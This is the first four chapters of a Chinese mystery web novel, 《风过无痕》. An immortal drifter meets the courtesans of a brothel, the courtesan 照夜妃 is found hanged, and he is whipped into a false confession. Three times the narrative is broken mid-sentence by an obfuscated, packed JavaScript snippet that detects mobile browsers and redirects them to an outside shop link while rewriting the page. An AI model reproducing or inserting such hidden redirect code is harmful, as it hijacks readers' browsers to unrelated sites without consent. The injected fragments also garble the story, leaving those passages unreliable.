《风过无痕》 1. 第 1 章 第一日 屋子里暖和得很。 厚厚的窗纸把腊月的寒风挡在外头,炉子里的炭火烧得正旺,桌上烫好的酒冒着热气。 屋子的主人幼薇坐在桌前,手握酒杯,一双杏子般的眼茫然望向榻上左拥右抱的男人。 幼薇是醉春风的红人,在这座京城最大的青楼里呆了十年,还是头一回遇上这样的客人。 客人长了一张斯文面孔,俊秀有余,英武不足,神色温和,嘴角带笑,让人一见就心生好感,一对眸子深邃灵动,似乎能看到人心底。 既不像个沉湎声色的烂人,又不像个凶残霸道的恶人。 这样一位公子踏进醉春风的大门,姑娘们自然都争着抢着作陪。可他目光在众人身上扫了一圈,径直走向幼薇,“幼薇姑娘,可愿赏光同饮一杯?” 声音如敲冰戛玉,十分悦耳。 幼薇先是一惊,随即暗喜。原来自己的名头如此响亮,陌生客人初次登门,就能叫出她的名字。照这个势头发展下去,挤掉那一位,当上头牌,指日可待。 她得意地挽住公子的胳膊,领他上楼,刚踏上一级台阶,就听公子又道,“怜卿、凝香、玉奴,你们一块来吧。” 幼薇险些在楼梯上栽个跟头。 这三个小妮子的名声也那么大了,足以和她齐名了? 不可能啊,玉奴还是个半大丫头,歌舞乐器一窍不通。 幼薇回过头,被点到名字的三人受宠若惊,一窝蜂地凑上来。 她拦在楼梯口,逼问,“你们见过这位公子?” 三人齐刷刷地摇头。 看她们的样子,不像演的。 姑娘之间争风吃醋是常事。幼薇将醉春风里的所有人都视为对手,尤其是那一位。谁若是挡了她的路,一定让她好看。 她在心里默默发狠,没留意臂弯何时空了,那公子已经自行上楼,走得没影了。玉奴指了指空旷的楼梯,她才反应过来,忙不迭地追上去。上了三楼,转过一个弯,刚好看见那公子的一片衣角消失在自己房门口。 奇怪,他怎么知道是这间? 四女蜂拥而入。只见那公子斜坐在贵妃榻上,两条长腿往春凳上一搁,惬意地伸个懒腰,吩咐道,“拿酒来!” 熟门熟路,好像他才是这房间的主人。 幼薇转身关门的功夫,怜卿和玉奴已经像两张狗皮膏药似地贴了上去,一个靠在公子左肩,一个靠在公子右肩,两张浓妆艳抹的脸在人家眼前晃,把人家衣领上的狐狸毛都压塌了。 “公子,光喝酒有什么趣儿?” “我们来玩点别的。” 凝香晚了一步,见榻上满满当当实在挤不进去了,就往春凳上一躺,将公子的腿抱在怀里,“公子奔波辛苦,奴家给您按按脚?” 那公子任由二女靠在身上,却不动声色地把脚收了回来。 看来他不吃这一套。 幼薇清了清嗓子,摆出一副端庄姿态,“不知公子尊姓大名?” 逛青楼的客人很少以真名示人,大都自称“风流客”“玉面郎君”云云,正如姑娘们的花名一样,都只是逢场作戏的代号。 那公子却正色道,“在下叶青岚,浮世一闲人。” 闲人?也对,若非闲人,哪有工夫逛青楼。 幼薇露出恰到好处的微笑,“原来是叶公子。初次见面,相见恨晚。” “初见?”叶青岚目光闪动,“我却觉得与姑娘相识已久呢。” 这种风月场上的套话,幼薇能说上一箩筐不带重样的。 “如此说来,定是我与叶公子前世有缘了。” “那是自然。” “公子是第一次来醉春风?” “来好几天了。” “何人作陪?” “就是你们四个。” 幼薇一怔,“公子真会说笑。” 叶青岚垂下目光,“凝香,你的腰还疼吗?” 他突然有此一问,幼薇固然吃惊,凝香也吓了一跳,“公子你怎知……” “你昨晚跳舞,转圈转得太急,扭到了腰。” 凝香像个傻子似的半张着嘴,呆了许久,才道,“我昨晚独个儿在房中休息,并没有跳舞啊。” “那你为何腰疼?” “我也觉得奇怪,一早醒来就又酸又疼……” 幼薇不耐烦地打断,“这还不简单,定是你前几日跳舞扭到了。” 凝香还在嘟囔,“可我连着歇了三日,每天都疼……” “你怕是在梦里跳的舞。” 房门轻响,小厮来送酒。幼薇跑去开门,等她端着酒回来时,见凝香翻了个身,趴在春凳上,叶公子伸手按在她后腰,一下一下揉捏,“这是我多年前从江南一位老神医那里学来的按摩手法,你们学了去,闲来无事可以相互按按。” 凝香不停地呻吟,脸泛潮红,眼睛眯成一条缝。 幼薇呸了一声。按个腰而已,至于□□么? 玉奴也听不下去了,扯过叶青岚的衣袖,“叶公子,我弹琵琶给你听,好不好?” 自进门以来,叶公子头一回变了脸色。 “大可不必,”他用空着的那只手挠了挠耳朵,“你的琵琶如魔音灌耳,上阵打仗可作杀敌利器,如今太平年月,万万不可妄动。” 怜卿扑哧一声笑了出来。玉奴鼓起腮帮子,“我刚学会第一支曲子,从没弹给别人听过,公子怎知难听?” 怜卿嘲讽道,“还用问吗?看你那手指又短又粗,弦都按不准。” 玉奴大怒,伸出两根又短又粗的手指,往怜卿脸上戳,“你胡说!” 叶青岚拉开两人,“别吵了。怜卿,你吹笛子。幼薇,你弹琴。凝香,你跳舞。玉奴,你什么都不会,就坐在这里看吧。” 屋子里死一般的寂静。 幼薇瞪大眼睛,“公子怎知我擅长弹琴,怜卿擅长吹笛子?” 叶青岚有些不耐烦,在怜卿背上轻推一把,“快去快去!我要听《折柳》。笛子大点声,别被琴音盖过去。幼薇,第二节最后一个音别再弹错了。凝香,转圈的时候悠着点,小心跌倒。” 幼薇突然感觉一股寒意升上脊背。 这个叶公子未曾谋面,却对她们了如指掌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255570|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她脱口而出,“公子见过我们合奏?” 但,那怎么可能?她和怜卿从未合奏过,凝香也从未给她们伴舞。四个姑娘陪一个客人,在醉春风也是稀罕事。 叶青岚挤挤眼睛,“幼薇姑娘可曾听过白头如新,倾盖如故?知己何必是旧识。” 幼薇心中一动。这仍是一句风月场上的套话。可不知怎的,对上他的笑眼,方才那股寒意便消失得无影无踪了。 这个叶公子虽然神秘,却似乎没有恶意。 于是她捧出琴,怜卿取出笛子,凝香站到屋子中间,跟着乐声舞了起来。《折柳》是首古曲,旋律悠扬,哀而不伤。幼薇一边拨动琴弦,一边分心留意榻上。 叶青岚右手举着酒壶,左手揽着玉奴,声音断断续续传来,“不瞒你说,我是个先知,我这双眼睛可是看见过天命的……” 先知?天命?这都哪儿跟哪儿啊? 幼薇一愣神,手底不小心错了一个音。好巧不巧,正是第二节最后一个音。 她不自觉地望向叶青岚,对方也戏谑地看过来。 目光相接,琴弦发出咚的一声。幼薇的心跳全乱了。 一曲毕,凝香连转了几个圈,勉强站稳脚跟。叶青岚扔下空酒壶,抚掌大笑,“好!舞跳得好!笛子和琴也比昨夜配合得更好!简直天衣无缝!” 幼薇满腹疑惑。难道她和怜卿真的合奏过?她明明和凝香一样,连着三晚没有接客啊。 天晓得是怎么回事。事到如今,她也懒得争辩了。或许这位叶公子从一开始就喝醉了。 似乎是证实她的猜想,叶青岚搂着玉奴起身,晃晃悠悠地走到窗边,一把推开了窗户。 这可不得了!寒冬腊月的北风顿时灌进屋子,酒气和脂粉香一吹而散。 姑娘们身上只穿着单衣,哪里挡得住寒风。玉奴像个筛糠似的抖了起来,“公子,这大冷的天,开窗做什么?” 叶青岚一指天上,“赏月。” 幼薇哆嗦着走近窗口。冷风刮在脸上像刀子一样。湖对岸的山头上刚刚升起一轮明月,透过稀薄的云层,洒下淡淡清辉。 月亮还缺一个角。她心里一沉。上元节快到了。 叶青岚突然一把扣住她手腕,没心没肺地笑道,“来来来,陪我一起赏月。” 幼薇的牙齿直打战,“叶公子,月亮什么时候不能看,何苦在此吹冷风?” 叶青岚不为所动,作势要去抓另外两人,怜卿和凝香连连尖叫着,满屋子逃窜。 正闹得鸡飞狗跳,突然砰的一声,房门弹开,一股穿堂风扑面而来,角落的炭火忽闪了一下,灭了。 一个盛妆的高挑女子站在门口,凌厉的目光扫过众人。 幼薇僵住了。整个醉春风,她最不想看到的就是这张脸。 一旁的叶公子放脱了她的手,凑上前去,细细打量那张脸,声音中流露出前所未有的好奇,“姑娘是谁?怎么前几日未曾见过?” 幼薇的心揪了起来。 “连我照夜妃都不认识,还好意思踏进醉春风?” 也只有她敢对客人如此无礼。 2. 第 2 章 叶公子倒不生气,“照夜妃?这名字好特别。” 幼薇酸溜溜地插嘴,“她原先叫绛珠,去年中秋后莫名其妙改名叫照夜妃。客人们都好奇名字那么怪的人长什么模样,一来二去,倒把她捧起来了。” 照夜妃斜眼看她,“幼薇,你不用替我谦虚。我自从改了名便大红大紫,稳坐花魁宝座,压得你们人人都出不了头。客人都是冲着我来的 ,实在见不着才退而求其次,忍受你们这些庸脂俗粉。” 她吐出的每个字都像扎心的刀子。叶公子还在一旁追问,“当真?” 幼薇感觉脸在发烫,“绛珠,你不要欺人太甚!” 照夜妃突然伸长手臂,一把拽住叶青岚的胳膊。这叶公子看着身高腿长,竟然毫无反抗之力,一下子被她扯了过去。 “四个人陪一个,还陪不明白。公子,你受委屈了,还是跟我回去,让我好好伺候你。” 叶青岚看起来很吃惊,“原来你们这里还有抢客人的?” 幼薇气极,“你都要远走高飞了,还来捣什么乱?!” 照夜妃冷笑,“我这不是还没走吗?我在这里一天,你们就别想出头。幼薇,你琴弹得难听,舞跳得更难看,何必留在醉春风自取其辱?赶紧选个好日子投湖自尽了吧!” 沸水般的恨意填满胸腔。她真的受够了。这么多年,绛珠那张淬了毒的嘴里从没吐出一句好话,打压她,侮辱她,抢走她的客人,当上花魁以后更是变本加厉。无数次午夜梦回,她都想冲进隔壁房间,把那个可恶的女人捂死在床上,让她从这个世界上彻底消失…… 她一不留神说出了心里话,“绛珠,你不得好死!” 叶公子惊愕地看过来,“好了好了,一点小事,何必动气呢。这位照姑娘,要不要留下来一起赏月?” 照夜妃无视了他,扬起下巴,扫视四个手下败将,“都看见了吧,有我在,没人会多看你们一眼。你们三个,赶紧收拾东西滚蛋。幼薇,你如果不打算投湖就把窗户关上,半夜砸东西的时候小声些,别吵到客人。” 不等幼薇骂回去,她便拽着叶青岚的胳膊扬长而去。 叶青岚像个战利品,被一路拖过走廊,扔进了隔壁房间。 进了门,只觉眼前一花。这屋子比幼薇那间还大,装饰得珠光宝气,华美异常,灯架上供着夜明珠,博山炉里燃着零陵香,青瓷茶盅的表面光洁莹润,映出墙上那件金丝绣线的彩衣。屋子中间的空地上铺着一块宽大的波斯地毯,足够五个人列队翻跟斗。 照夜妃反手摔上门,抱起胳膊,问道,“你叫什么名字?” 瞧那架势,哪像个青楼女子,倒真像个久居上位的贵妃。 叶青岚揉着酸痛的胳膊。这女人力气真大。他今晚踏进醉春风时,万万没想到会受如此对待。 前三晚一切都好。四个姑娘围着他转,歌舞奏乐,饮酒逗趣,温言软语暖人心扉。四个丫头虽然言语呱噪,技艺参差,记性又差得很,可胜在温柔亲切,对客人尊敬有加,展现出极高的职业素养。 像叶青岚这样滥情的人,三杯酒下肚,已不自觉地把她们当作好朋友了。 谁料这个花魁半路杀出来,痛骂四人,还把他当麻袋扔。 真是时移世易,如今风月场的规矩都让人看不懂了。 “在下叶青岚。” “哪个青哪个岚?” “青草的青,山岚的岚。” “哦,你坐一会就走吧。你们在隔壁太吵闹,我要休息,才故意去把你抢了过来。我对你本人没什么兴趣。” 这番话说得再自然不过。 叶青岚怔了一会儿,“你真的是花魁?” “怎么?” “像你这样也能当上花魁?” 照夜妃白了他一眼。 他转念一想,“莫非喜欢你的客人都有怪癖?” 天生爱受虐的人也是有的。更有甚者,一天不挨打就浑身不自在。 照夜妃反唇相讥,“逛青楼的能是什么好东西?你一个人要四个姑娘陪,难道没怪癖?” 叶青岚挠挠头,“若我说我是误听了一曲魔音琵琶,耳鸣三日不绝,不得不来找始作俑者讨说法,你信吗?” 他常年累月胡说八道,练就一项本领,只要真诚地盯着别人的眼睛,对方就会不自觉地对他心生好感,全盘相信他的话。 他盯了半天,发现这一招失灵了。照夜妃轻蔑地看着他,那意思很明白:像你这样的骗子,我见得多了。 隔壁传来一阵细碎的脚步声,然后哗啦一声,瓷器碎裂的声响。 “被你说中了!”叶青岚一惊一乍,“幼薇真的在砸东西。” “她就是这个德行。”照夜妃突然不耐烦起来,“看来她们几个散了,你也可以走了。” 方才还叫他坐一会,这会儿连坐都不让坐了。 叶青岚指了指紧闭的窗户,笑道,“今夜月色很美,照姑娘不想开窗看看?” 照夜妃恶声恶气,“不想。” “为何?” “再美的月色,照到醉春风就变样了。此地腌臜,男人无耻,女人下贱,早该一把火烧成平地。” 叶青岚不由打个寒战。这位照姑娘心中好深的怨毒。 “此地名为欢场,实则苦多于乐,多是身世可怜的人,教人同情。” “你既同情,就不该来这儿。” “我原本打算赏完月就走,偏偏被你拖了进来,”叶青岚坏笑,“这会儿反而不想走了。” 照夜妃瞪了他一会儿,突然把一串珍珠扔在桌上,“你拿了这个走吧,我真的要休息了。” 叶青岚一呆。这是打赏?他来逛青楼,反而被青楼女子打赏了?! 看那串珍珠颗颗饱满浑圆,在灯珠照耀下光华流转,实是难得的上品。 照夜妃看他不动,以为他不识货,又扔出一块玉佩。上好的羊脂玉,雕缠枝莲纹,莹润剔透,看形制像是前朝的宝物。 “想要多少宝贝,我这里还有。反正就要走了,身外之物,也该舍去一些。” 一个青楼女子,出手竟如此豪阔!叶青岚摩梭那玉佩,只觉触手生温。今晚在醉春风的经历堪称奇遇。照夜妃越是急着赶他走,他就对她越好奇。 “听姑娘的意思是打算赎身?” “没错,所以你可以滚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255571|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 这已是第三道逐客令。 偏偏叶青岚脸皮极厚,且不识好歹。 他放下玉佩,揭开桌上那盏青瓷茶盅的盖子。一股清香扑鼻而来。 “照姑娘喝的什么茶,竟有如此异香?” 照夜妃极不耐烦,“天山雪莲。你没喝过?” “你我萍水相逢,我怎好意思要你的身外之物?喝你一碗茶,恭喜你脱离苦海。” 照夜妃一愣,不置可否。 叶青岚喝了一晚上酒,这会儿心火烧上来,当真是渴了,也不怕烫,端起那雪莲茶一饮而尽。一股火辣辣的灼热沿着食管直烧到胃里。 喉头突然像被针扎了一下,一口气憋在胸腔里,上不去下不来。视野一时清晰,一时模糊,照夜妃盛妆的脸在晃动。 叶青岚眼前一黑,栽倒下去。 第二日 叶青岚睁开眼睛。映入眼帘的是一幅薄如蝉翼的红绡床帐,逶迤曳地。他盯着床帐发了会儿呆,才想起昨晚发生了什么。 他被醉春风的花魁照夜妃拖进房间,喝了一盅她桌上的雪莲茶,便不省人事了。 茶里放了什么? 叶青岚承蒙上天厚爱,这具身体不老不死,即便喝下见血封喉的毒药,也能再醒过来。 换做是别人喝了,可就难说了。 外头天光大亮,房间里寒冷刺骨。他掀开被子坐起来。一摸身上,衣服完好。昨晚昏倒后,想必是照姑娘把他扔到床上的。 “照姑娘?” 没有回音。 叶青岚爬下床,想去关窗,才走了一步,就定住了。 两扇窗户大开着,正中间吊着一个人,脸孔朝外,满头珠翠。前一晚挂在墙上的那件华美舞衣披在身上。朔风吹过,舞衣的下摆飘起来,金线闪动,映得房中忽明忽暗。 叶青岚屏息走过去,半个身子探出窗外,去瞧那人的正脸。 一道极细的线勒住脖颈,头折向一边,嘴里伸出一条三寸长的紫色舌头,眼珠暴起,青白的脸庞上留有残妆,还能依稀辨认出生前的模样。 昨晚铁了心要赶他走的照夜妃,竟吊死在自己房间窗外。 叶青岚脑中一片空白。死人他见过不少,战场上多的是可怕的死状。可这样一个年轻美丽的女子死得如此凄惨,着实把他吓到了。 正要细看,房门砰的一声被人踢开。半块扭断的锁片飞过半间屋子,掉在地毯上。 一大群差役鱼贯而入。为首的是个年轻男子,身穿官服,腰悬长刀,威风凛凛地喝道,“有人举告,此处发生命案。” 他森然的目光穿过房间,定在窗口悬吊的人影上。 叶青岚暗叫不妙。他的一只手还搭在尸体的肩膀上呢。 那人狂喊,“将他拿下!” 两名差役冲过来,把他狠狠按倒在地,双手拉到身后,结结实实地捆了起来。 叶青岚的脸磕在地板上,生疼。 那为首之人继续发号施令。 “快,把人解下来。” 一双双官靴在眼前奔来奔去,片刻后,有人报告,“禀陆捕头,死者颈中似乎是天蚕丝。” 3. 第 3 章 一双双官靴在眼前奔来奔去,片刻后,有人报告,“禀陆捕头,死者颈中似乎是天蚕丝。” 叶青岚吃了一惊。那绕颈的细线竟是天蚕丝!这等价值连城的稀罕物,用来割人的脖子,当真是暴殄天物。 陆捕头吩咐道,“带回提刑司,着仵作验尸,把这间屋子里里外外上上下下都搜查一遍,一根头发丝都不能放过。你们两个把人犯带回去,看管起来。” 叶青岚正纳闷人犯在哪儿,突然肩膀一紧,两名差役像提面口袋似的把他提了起来。 哦,他就是那个人犯。 此情此景,于情于理,都应该喊一声冤枉。 他刚张开嘴,背后却被人猛推一把。 “老实点!”按住他脖子的差役吼道,“别乱动!” 叶青岚从眼角瞟他。年纪不到二十,下巴上还有胡茬,细胳膊细腿,一招就能放倒。 他并不打算动手。他想跟去提刑司看看。 差役们举着刀从身边跑过,划开床帐,翻倒桌椅,把抽屉里的东西全倒出来,金银珠宝滚落一地。 华美的屋子顿成一片狼藉。 走廊上挤满了人,有不少衣衫不整,显然是睡得正香被响声惊醒的。幼薇站在自己房间门口,神色异常淡定,好像知道里面发生了什么。 两人目光相接,叶青岚报以一笑。 擦身而过的时候,他听到幼薇问别人,“这人是谁?你见过吗?” 老鸨蔡妈妈穿了件紫色的缎面袄子,候在一楼楼梯口,手里的帕子拧成了条,脸上的表情像要哭出来似的。 “差爷,行行好,楼上究竟出了何事啊?” 差役把叶青岚往前一推,“你老认一认,此人何时来的醉春风。” 蔡妈妈对着他左看右看,上看下看,一脸茫然,“老身没见过此人啊。” 明明昨晚还满脸堆笑地迎他进门呢。 “姑娘们,有人见过他吗?” 围观众人皆摇头。 那差役道,“这倒奇了,照夜妃吊死在窗口,房中只有此人在。你们若都没见过他,他是怎么进的房?” 蔡妈妈尖叫一声,“什么?照夜妃她……死了?!” 人群顿时炸开了。 “照夜妃?醉春风的花魁?” “怎会突然死了?” “看来上元舞要泡汤了。” 蔡妈妈倒抽一口凉气,双眼翻白,晕了过去。 叶青岚没想到如今的提刑司是这副模样。按理说,大萧京城的司法机构代表朝廷,即便谈不上爱民如子,也不该如此凶狠残暴。可他一进去就被扒光了外衣,反复搜身。差役们把他绑在一根木头架子上,脖子上套了个铁环,双手架起。审讯间的空气阴冷潮湿,散发着一股霉味。两边墙上各点了一排火把,刚好照亮十八套刑具。 他梗着脖子,问抓他进来的人,“这里果真是京城提刑司,不是什么土匪窝吧?” 小哥听懂了他的讽刺,“油嘴滑舌,一会儿老大来了有你好看。” “敢问你们老大是何方神圣?” “你连他都不认识,还敢在京城混?刑部侍郎陆大人的公子,提刑司总缉捕,陆冰,陆捕头。” 原来是个大有来头的。怪不得破门而入的姿势那么威风。 “你们老大怎知醉春风发生了命案?” “有人告发。” 这么说他醒来之前已经有人知道照夜妃死了。 “难道是有预谋的杀人……” “是啊,你为何预谋害死照夜妃?” 叶青岚噎了一下,“不是我。我醒来的时候,她已经是那个样子了。” 小哥指指那十八套刑具,“我劝你还是不要抵赖,快些招供,等老大来了,把这些挨个在你身上试过,到时候你就连话都说不出来了。” 叶青岚暗叫不妙。他这具身体虽然不老不死,对疼痛的感知却很真切,尤其受不了零碎的折磨。 “你们老大何时过来?” 小哥掰着手指头,“提刑司三板斧,抓人、抄家、拷打,人已经抓了。醉春风那么大,且得搜上一阵子。对了,你家住何处?让兄弟们也去搜一搜。” 叶青岚颇为遗憾地摇摇头,“可惜我居无定所,四海为家,值钱的东西都带在身上。你们方才扒我衣服的时候,想必都看见了。” 墙角堆着从他身上搜出来的东西,狐狸毛大氅卷成一团扔在地上、一袋散碎银子、半块糖糕、火折子,还有那件破了两个大洞的银丝软甲。小哥走过去,用刀柄挑起那软甲,“破成这样了,你还留着干嘛?” 叶青岚正色道,“这是我最贵重的东西。” 小哥哈哈大笑,正要追问,吱呀一声,大门打开,陆冰挎刀走了进来。 叶青岚这时才有机会细细打量这位捕头。他身长超过八尺,额头高耸,眼窝深陷,鹰钩鼻子薄嘴唇,天生一张判官脸,火光照耀下,脸膛泛红,目中尽是桀骜之色。 四目相对,陆冰不挎刀的手如迅雷般从腰间抽出一根鞭子,劈头打来。 叶青岚没想到他问也不问,上来就动手。既被绑住,自然无从躲闪,鞭子抽在前胸,划破一个大口子,顿时鲜血淋漓。 他疼得直翻白眼。 “大人……为何是你亲自抽鞭子?这种事不是应该手下人做么?” 陆冰声音平板地答道,“我练过武,力气比一般的差役大。” “咳咳,这算什么理由……” 陆冰再次扬手,眼看第二鞭又要下来,叶青岚慌忙喊道,“我招!我招!” 原来提刑司三板斧就是这样审案的。 差役小哥投来赞许的目光。识时务者为俊杰。 鞭子卸了力,软绵绵地垂下来。陆冰整了整官帽,走到案前落座,喝问,“姓名,年龄,籍贯,职业。” “在下叶青岚,浮世一闲人。二十七岁,金陵人士。” “你如何杀害照夜妃,一五一十说来。” 一旁的师爷手执毛笔,悬在案卷之上。 叶青岚平时信口开河、胡说八道惯了,当此危急关头,张口就来。 “照夜妃是花魁,名声在外,我仰慕她许久,但见她一面要好多银子,我负担不起,便心生歹念。” “你如何进入房间行凶?” “光明正大走进去的。我点了壶茶,在大堂坐了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255572|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一天,等晚上客人们都散了,我才悄悄摸上楼。” “胡说!为何整个春风楼,从老鸨到姑娘,没人见过你?” 叶青岚无奈一笑,“那就是天意了。” 陆冰霍地起身,又去摸鞭子。 “大人别打!我的意思是说,我乔装打扮,刻意遮住脸,所以没人注意到我。” “哼。你摸上楼,然后呢?” “然后就推门进去了。照夜妃当时在喝茶,见到我吓了一跳,叫我滚。” “她是第一次见你?” “是。” 陆冰脸色微变,缓缓坐下,“说下去。” “我……见到她的美貌,不禁垂涎,又拿不出银子,便按着她试图□□。” 陆冰面露鄙夷,“无耻。” “她也是这么骂的,我恼羞成怒,一着急一上火,就动手勒死了她,把她挂在窗外,后来觉得有些累了,便上床睡了。” 这番供述实在不怎么高明。陆冰思忖片刻,沉下脸,“你当本捕头是傻子吗?看来不用刑是不会说实话了!上夹棍!” 话音刚落,两个差役就捧着夹棍上来了,动作熟练至极,看来平时没少操练。 叶青岚一眼瞥见夹棍上的斑斑血迹,顿时魂飞魄散,“大人啊,你哪里听得不满意,我可以重说!都按你的意思改!别冲动,千万别冲动。” 差役把夹棍套上他的手,拉紧绳索,只待陆冰一声令下,这双手就要被碾成肉泥。 陆冰道,“老实交代,你行凶用的天蚕丝从何处购得?” 叶青岚暗暗叫苦,天蚕丝价值连城,他哪知道何处有卖。 “辗转托人从海船上购得。” 陆冰狞笑,“你还胆敢走私,罪加一等!余下的天蚕丝藏在哪了?” 叶青岚有些懵,“余下的?” “绕颈的天蚕丝不到三尺,末端割痕极不平整。余下的丝线呢?” 叶青岚自然答不出来。 陆冰向差役一挥手。 夹棍收紧,十指指根同时传来剧痛,叶青岚额头冷汗直冒,急中生智,叫道,“湖!我为了毁灭罪证,把丝线绑在石头上扔进滴翠湖了。” 夹棍停了。 师爷的笔刷刷写个不停,鼻尖都沾上了墨点。 陆冰又问了几个问题,他用什么割断天蚕丝,如何把尸身吊在窗口,为何杀了人不逃跑,叶青岚胡乱作答,只求糊弄过去。 陆冰摸着下巴陷入沉思,叶青岚暗自祈求他的头脑越简单越好。 半晌,陆冰转过头,问师爷,“都记下了吗?” “陆捕头放心,都记下了!” 叶青岚松了口气,“大人,我都招了,可以择日处斩了吧?” 陆冰冷哼一声,“你倒不怕死。来人,让他画押。” 差役拿过案卷,将叶青岚的手指印按在上面,呈给陆冰。 陆冰来回看了两遍,满意地点点头,“关进大牢!” 夹棍撤走了。叶青岚活动着发颤的手指,谄媚道,“多谢陆捕头,陆捕头英明神断,实乃百姓之福,社稷栋梁。” 陆冰脸上露出极度嫌恶的神色,啐了一口。 4. 第 4 章 两名差役把他押进大牢。相比审讯间,这里的光线更昏暗,气味更难闻。地上铺着稀疏的稻草,一脚踩上去,居然是湿的,不知被什么液体浸过。 叶青岚不忍细想。 昨天这个时候,他还身处歌舞醉人的温柔乡呢。 他小心地避开湿稻草。隔壁牢房里,一团黑影动了动,传来一道苍老的声音,“好久没来新人了。” 叶青岚费力辨认,铁栏杆后面坐着个胡子拉碴的老头,身上破衣烂衫,露出来的皮肤上红一块白一块,长满了疮。 “因为什么事进来的?” “□□未遂,愤而杀人。” 老头阴恻恻道笑道,“看来你和我一样,出不去了。” 叶青岚长叹一声,“是啊,出不去了。” 差役的脚步声远得听不见了,四周安静下来。 他靠在冰冷的铁栏杆上,潜心回想前一晚的情形。 照夜妃出口伤人,性情乖张,像是个会走极端的人。可她明明说要赎身了,一个眼看就脱离苦海的人,会上吊自尽吗? 如果不是自杀,那就是有人闯进房间,在他昏睡之际,辣手行凶。 他想起照夜妃打赏他时神气活现的模样。如此美丽的女子,是谁残忍地勒断了她的脖子? 他喃喃吐出两个字,“禽兽。” 第三日 清晨的天光透过栅栏照进牢房,照在叶青岚脸上。他面向栏杆负手而立。虽然只穿着里衣,胸前还破了一道大口子,可他站得犹如一棵迎着朝阳的青松,生气勃勃,充满希望。 隔壁的老头醒了,揉着眼睛问道,“好久没来新人了。因为什么事进来的?” 叶青岚不答,胸口不断高高鼓起,缓缓落下。 老头奇道,“你这是在做什么?” “训练气息,帮助发声。” “你要唱大戏?” “非也。”叶青岚气运丹田,突然狂喊,“来人哪!你们抓错人了!” 一炷香后,叶青岚站在审讯间,面对刑部侍郎之子,提刑司京城总缉捕,陆冰陆捕头,他拒不下跪,翻来覆去地喊了几百遍冤枉。 陆冰被他喊得烦躁至极,眼下挂着两圈乌青,一个劲催促手下,“你们查到没有?” 师爷和两个书吏头都快埋进文书堆里,小声答道,“禀陆捕头,还没有。” 叶青岚趁势发出一声哀嚎,“就说你们抓错了人!罪名呢?没有罪名,何故将我拷打?” 说着,抖开衣服破口,露出触目惊心的鞭痕。 陆冰做了个手势,昨天抓他进来的差役冲过来掐住他的下巴,迫使他抬起头,面向火把。 火光照亮一张斯文清俊的脸。 陆冰上看下看,左看右看,眉头拧成了结:眼前这人究竟是谁? 叶青岚知道他肯定想不起来的。即使陆捕头外号提刑司三板斧,抓人抄家拷打,件件亲历亲为,所有人犯都亲自审讯,也不可能对他有任何印象。 子时已过。 “你自己说,犯了何事进来的?” 叶青岚喊得比他更响,“大人,这话该我问你才对!我一介良民,遵纪守法,昨日好好走在路上,却被你的差役不由分说抓进提刑司。我冤枉啊!” “胡说!差役怎会随便抓人。” 叶青岚努努嘴,“就是他干的!” 那掐他下巴的差役小哥一愣,“小人没有啊。” “你昨日还劝我早些招供,免受皮肉之苦呢!” 小哥连连摆手,“大人明鉴,小人从未见过人犯啊!” 陆冰喝道,“师爷,你是干什么吃的?!” 师爷捧着一沓纸,额头上亮晶晶的都是汗,“禀陆捕头,昨日提刑司只审了一个案子,便是醉春风花魁上吊案。小人翻遍卷宗,并没找到抓捕人犯的记录啊。” 陆冰走过去,一把抢过卷宗读了起来。 “醉春风花魁照夜妃身穿舞衣,于窗外吊颈而亡,发现尸体时房门从里面锁住,房中无人。经仵作验尸,死者颈骨折断,死于窒息。吊颈之物乃海外珍品天蚕丝,末端有切割痕迹。据醉春风的蔡妈妈供述,前一晚照夜妃没有接客,独自睡在房中。” 叶青岚微微冷笑。 房中无人。 没有嫌疑人。 陆冰抛下卷宗,瞪着他,“你总不会是凭空冒出来的。姓名,年龄,籍贯,职业。速速道来。” 叶青岚道,“大人先说我犯了何罪!” “大胆!”陆冰抽出腰间鞭子,劈头打来。这回叶青岚早有防备,低头一闪,鞭子抽在旁边的倒霉差役头上,小哥嗷的一声抱住头,指缝里瞬间渗出血来。 叶青岚往地上一坐,放声大哭,“苍天无眼啊!提刑司冤枉好人,鞭打良民,倒行逆施,只手遮天。我大萧的江山怕是要毁在尔等手中了!” 陆冰头上的青筋直跳。三板斧再雷厉风行,也不能无视法度。若此事传扬出去,于提刑官大人和他父亲刑部侍郎脸上都不好看。 叶青岚知道他担心什么,哭喊道,“我要告上刑部,告上大理寺,我要告御状!” “闭嘴!” 陆冰的手伸向腰间。这回不是去抽鞭子,而是去抓刀柄。师爷一直在旁提心吊胆地看着,生怕陆捕头一时冲动真把人砍了,赶紧扑上来拦住。 